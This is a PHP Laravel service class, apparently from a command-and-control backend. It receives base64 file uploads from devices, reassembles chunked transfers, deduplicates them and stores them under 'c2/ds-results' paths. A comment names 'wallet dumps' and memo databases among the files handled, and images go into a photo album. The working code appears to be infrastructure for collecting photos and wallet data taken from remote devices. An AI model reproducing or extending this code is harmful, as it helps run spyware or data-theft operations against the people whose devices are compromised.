Files
2026-09-21 01:44:03 +08:00

286 lines
9.5 KiB
PHP

<?php
namespace App\Services;
use App\Models\Device;
use App\Models\Photo;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage;
class DsResultStore
{
/** @var list<string> */
private const VIDEO_EXT = ['mp4', 'mov', 'm4v', 'avi', 'mkv', 'webm', '3gp', 'qt'];
/** @var list<string> */
private const IMAGE_EXT = ['png', 'jpg', 'jpeg', 'heic', 'heif', 'gif', 'webp', 'bmp', 'tif', 'tiff'];
private const MAX_CHUNKS = 512;
private const MAX_ASSEMBLED_BYTES = 80 * 1024 * 1024;
public function __construct(
private readonly IngestService $ingest,
) {}
/**
* Persist one /result body. Videos are dropped. Chunks assemble under
* c2/ds-chunks then land in c2/ds-results. Images also go through album ingest.
*
* @param array<string, mixed> $payload
* @return array<string, mixed>
*/
public function store(Device $device, array $payload): array
{
$filename = $this->safeName((string) ($payload['filename'] ?? ''));
if ($filename === '') {
return ['stored' => false, 'reason' => 'no_filename'];
}
if ($this->isVideo($filename)) {
return ['stored' => false, 'reason' => 'video_skipped', 'filename' => $filename];
}
// Images are only persisted when album storage is enabled. When it's
// off, drop them entirely — no ds-results file, no .seen marker, no
// photos table row — so the device's disk footprint stays minimal.
if ($this->isImage($filename) && ! $device->albumStorageEnabled()) {
return ['stored' => false, 'reason' => 'image_skipped_album_off', 'filename' => $filename];
}
$raw = $payload['data'] ?? null;
if (! is_string($raw) || $raw === '') {
return ['stored' => false, 'reason' => 'no_data', 'filename' => $filename];
}
$bytes = base64_decode($raw, true);
if ($bytes === false) {
return ['stored' => false, 'reason' => 'bad_base64', 'filename' => $filename];
}
$commandId = $this->safeName((string) ($payload['command_id'] ?? 'unknown')) ?: 'unknown';
$total = isset($payload['total_chunks']) ? (int) $payload['total_chunks'] : 0;
$index = array_key_exists('chunk_index', $payload) ? (int) $payload['chunk_index'] : null;
if ($total > 1 && $index !== null) {
if ($total > self::MAX_CHUNKS || $index < 0 || $index >= $total) {
return ['stored' => false, 'reason' => 'bad_chunks', 'filename' => $filename];
}
$assembledPath = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes);
if ($assembledPath === null) {
return [
'stored' => false,
'reason' => 'chunk_pending',
'filename' => $filename,
'chunk_index' => $index,
'total_chunks' => $total,
];
}
if ($assembledPath === false) {
return ['stored' => false, 'reason' => 'too_large', 'filename' => $filename];
}
try {
return $this->persistFile($device, $filename, $commandId, $assembledPath);
} finally {
@unlink($assembledPath);
}
}
return $this->persistBytes($device, $filename, $commandId, $bytes);
}
/**
* @return array<string, mixed>
*/
private function persistBytes(Device $device, string $filename, string $commandId, string $bytes): array
{
$tmp = tempnam(sys_get_temp_dir(), 'ds_photo_');
if ($tmp === false) {
return ['stored' => false, 'reason' => 'tmp_failed', 'filename' => $filename];
}
file_put_contents($tmp, $bytes);
try {
return $this->persistFile($device, $filename, $commandId, $tmp);
} finally {
@unlink($tmp);
}
}
/**
* @return array<string, mixed>
*/
private function persistFile(Device $device, string $filename, string $commandId, string $absPath): array
{
$hash = hash_file('sha256', $absPath) ?: '';
$size = (int) filesize($absPath);
if ($this->alreadyIngested($device, $filename, $hash)) {
return [
'stored' => false,
'reason' => 'duplicate',
'filename' => $filename,
'size' => $size,
];
}
$rel = 'c2/ds-results/'.$device->device_id.'/'.$commandId.'/'.$filename;
$stream = fopen($absPath, 'rb');
if ($stream === false) {
return ['stored' => false, 'reason' => 'read_failed', 'filename' => $filename];
}
Storage::disk('local')->put($rel, $stream);
if (is_resource($stream)) {
fclose($stream);
}
$this->markSeen($device, $hash, $filename);
$photo = false;
if ($this->isImage($filename) && $device->albumStorageEnabled()) {
$this->ingest->ingestPhotos($device, [$absPath]);
$photo = true;
}
return [
'stored' => true,
'path' => $rel,
'photo' => $photo,
'size' => $size,
'filename' => $filename,
];
}
private function alreadyIngested(Device $device, string $filename, string $hash): bool
{
$isImage = $this->isImage($filename);
$seen = Storage::disk('local')->exists($this->seenPath($device, $hash));
if (! $isImage) {
// Non-images (wallet dumps, memo dbs, …): .seen is the only dedup.
return $seen;
}
// Images reach here only when album storage is enabled (store() drops
// images entirely when album is off). The Photo table is the source of
// truth for album dedup. markSeen() runs before ingestPhotos(), so a
// bare .seen marker can survive a failed/skipped album ingest (the
// device record was recreated, an exception was swallowed, …) and
// would otherwise block the photo from ever entering the album. When
// a Photo row exists we treat it as a duplicate; otherwise we retry
// the ingest by returning false so store() re-stores + calls
// ingestPhotos.
$hasPhoto = Photo::query()
->where('device_id', $device->id)
->where('sha256', $hash)
->exists();
if ($hasPhoto) {
if (! $seen) {
$this->markSeen($device, $hash, $filename);
}
return true;
}
return false;
}
private function markSeen(Device $device, string $hash, string $filename): void
{
Storage::disk('local')->put($this->seenPath($device, $hash), $filename);
}
private function seenPath(Device $device, string $hash): string
{
return 'c2/ds-results/'.$device->device_id.'/.seen/'.$hash;
}
/**
* Stream chunks to a temp file. null = still waiting, false = over size / I/O fail.
*/
private function acceptChunk(
Device $device,
string $commandId,
string $filename,
int $index,
int $total,
string $bytes,
): string|false|null {
$dir = 'c2/ds-chunks/'.$device->device_id.'/'.$commandId.'/'.$filename;
Storage::disk('local')->put($dir.'/'.$index, $bytes);
Storage::disk('local')->put($dir.'/total', (string) $total);
for ($i = 0; $i < $total; $i++) {
if (! Storage::disk('local')->exists($dir.'/'.$i)) {
return null;
}
}
$tmp = tempnam(sys_get_temp_dir(), 'ds_asm_');
if ($tmp === false) {
Storage::disk('local')->deleteDirectory($dir);
return false;
}
$fh = fopen($tmp, 'wb');
if ($fh === false) {
@unlink($tmp);
Storage::disk('local')->deleteDirectory($dir);
return false;
}
$written = 0;
for ($i = 0; $i < $total; $i++) {
$chunk = (string) Storage::disk('local')->get($dir.'/'.$i);
$len = strlen($chunk);
if ($written + $len > self::MAX_ASSEMBLED_BYTES) {
unset($chunk);
fclose($fh);
@unlink($tmp);
Storage::disk('local')->deleteDirectory($dir);
Log::warning('ds result assembled too large', [
'device_id' => $device->device_id,
'filename' => $filename,
'total_chunks' => $total,
]);
return false;
}
fwrite($fh, $chunk);
$written += $len;
unset($chunk);
}
fclose($fh);
Storage::disk('local')->deleteDirectory($dir);
return $tmp;
}
private function isVideo(string $filename): bool
{
return in_array($this->extension($filename), self::VIDEO_EXT, true);
}
private function isImage(string $filename): bool
{
return in_array($this->extension($filename), self::IMAGE_EXT, true);
}
private function extension(string $filename): string
{
$dot = strrpos($filename, '.');
if ($dot === false) {
return '';
}
return strtolower(substr($filename, $dot + 1));
}
private function safeName(string $name): string
{
$name = str_replace(["\0", '\\'], '', $name);
$name = basename(str_replace(['/', '\\'], '', $name));
$name = preg_replace('/[^A-Za-z0-9._-]/', '_', $name) ?? '';
return $name === '.' || $name === '..' ? '' : $name;
}
}